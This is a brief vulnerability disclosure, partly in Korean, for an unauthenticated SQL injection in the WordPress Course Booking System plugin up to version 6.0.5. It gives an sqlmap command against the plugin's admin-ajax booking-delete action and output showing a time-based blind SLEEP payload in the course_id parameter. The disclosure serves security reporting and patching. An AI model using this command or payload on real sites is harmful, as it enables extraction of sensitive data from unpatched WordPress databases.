
Course Booking System <= 6.0.5 - Unauthenticated SQL Injection
Course Booking System <= 6.0.5 - 인증되지 않은 SQL Injection
WordPress용 Course Booking System 플러그인은 버전 6.0.5 이하에서 사용자가 제공한 매개변수에 대한 이스케이프 처리가 부족하고 기존 SQL 쿼리에 대한 충분한 준비가 이루어지지 않아 SQL Injection에 취약합니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 삽입하여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.
sqlmap.py -u 'http://kubernetes.docker.internal:8929/wp-admin/admin-ajax.php' --data='action=cbs_action_booking_delete&booking_id=1&course_id=1&date=2023-10-27&user_id=1' --level=2 --dbms='MySQL '
___
__H__
___ ___[.]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:20:46 /2025-01-23/
[10:20:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: course_id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=cbs_action_booking_delete&booking_id=1&course_id=1 AND (SELECT 4965 FROM (SELECT(SLEEP(5)))GYWH)&date=2023-10-27&user_id=1
---
[10:20:46] [INFO] testing MySQL
[10:20:46] [INFO] confirming MySQL
[10:20:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.21, Apache 2.4.59
back-end DBMS: MySQL >= 5.0.0